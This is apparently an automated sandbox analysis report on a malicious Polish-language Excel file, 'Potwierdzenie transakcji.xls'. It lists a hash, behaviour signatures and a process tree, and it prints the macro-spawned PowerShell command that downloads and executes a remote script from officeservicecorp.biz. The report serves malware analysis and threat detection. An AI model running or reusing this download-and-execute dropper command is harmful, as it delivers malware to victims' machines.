Analysis
- max time kernel
146s - max time network
151s - platform
windows7_x64 - resource
win7 - submitted
30/06/2020, 10:54
General
- Target Potwierdzenie transakcji.xls
- Size 856KB
- Sample200630-edfnfkd5va
- SHA256 debf78ac913e3b76debc7c4745d1e9ff858d6f3392ad02db78eb18408ac4beaf
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
ps1.dropper
http://officeservicecorp.biz/Lab.jpg
Signatures
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Suspicious use of WriteProcessMemory 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Potwierdzenie transakcji.xls"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Suspicious use of FindShellTrayWindow
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://officeservicecorp.biz/Lab.jpg')2⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
-